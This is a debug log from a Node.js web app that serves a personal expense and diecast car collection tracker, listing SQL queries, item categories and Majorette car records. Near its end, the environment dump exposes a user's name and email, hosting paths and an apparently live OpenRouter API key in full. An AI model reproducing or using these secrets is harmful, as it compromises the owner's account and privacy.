2026-02-04T10:34:16.131Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:34:16.132Z server-connect:output restrict: undefined
2026-02-04T10:34:16.132Z server-connect:app Executing action step select
2026-02-04T10:34:16.132Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:34:16.132Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:16.133Z server-connect:app Executing action step identify
2026-02-04T10:34:16.133Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.133Z server-connect:output identity: 1
2026-02-04T10:34:16.133Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.133Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:16.134Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:34:16.134Z server-connect:app Executing action step identify
2026-02-04T10:34:16.134Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.134Z server-connect:output identity: 1
2026-02-04T10:34:16.134Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:16.134Z server-connect:output restrict: undefined
2026-02-04T10:34:16.134Z server-connect:app Executing action step single
2026-02-04T10:34:16.134Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:34:16.134Z server-connect:output restrict: undefined
2026-02-04T10:34:16.134Z server-connect:app Executing action step select
2026-02-04T10:34:16.135Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:34:16.135Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:34:16.136Z server-connect:app Executing action step identify
2026-02-04T10:34:16.136Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.136Z server-connect:output identity: 1
2026-02-04T10:34:16.136Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.136Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:16.137Z server-connect:app Executing action step identify
2026-02-04T10:34:16.137Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.137Z server-connect:output identity: 1
2026-02-04T10:34:16.137Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.137Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:16.138Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:34:16.139Z server-connect:app Executing action step identify
2026-02-04T10:34:16.139Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.139Z server-connect:output identity: 1
2026-02-04T10:34:16.139Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.139Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:16.139Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:34:16.140Z server-connect:output restrict: undefined
2026-02-04T10:34:16.140Z server-connect:app Executing action step select
2026-02-04T10:34:16.140Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:34:16.140Z server-connect:output restrict: undefined
2026-02-04T10:34:16.140Z server-connect:app Executing action step select
2026-02-04T10:34:16.140Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:34:16.141Z server-connect:output restrict: undefined
2026-02-04T10:34:16.141Z server-connect:app Executing action step paged
2026-02-04T10:34:16.141Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:16.143Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:34:16.144Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:34:16.145Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:34:16.145Z server-connect:app Executing action step identify
2026-02-04T10:34:16.146Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.146Z server-connect:output identity: 1
2026-02-04T10:34:16.146Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.146Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:16.146Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:34:16.146Z server-connect:output restrict: undefined
2026-02-04T10:34:16.146Z server-connect:app Executing action step select
2026-02-04T10:34:16.146Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:34:16.147Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:34:16.147Z server-connect:app Executing action step select
2026-02-04T10:34:16.147Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:34:16.148Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:34:16.148Z server-connect:app Executing action step select
2026-02-04T10:34:16.148Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:34:16.149Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:34:16.374Z server-connect:router Serving templateView /
2026-02-04T10:34:16.374Z server-connect:app Executing action step identify
2026-02-04T10:34:16.374Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.374Z server-connect:output identity: 1
2026-02-04T10:34:16.374Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:16.375Z server-connect:output restrict: undefined
2026-02-04T10:34:16.375Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.375Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:16.375Z server-connect:output restrict: undefined
2026-02-04T10:34:16.375Z server-connect:router Render template layouts/main
2026-02-04T10:34:16.375Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
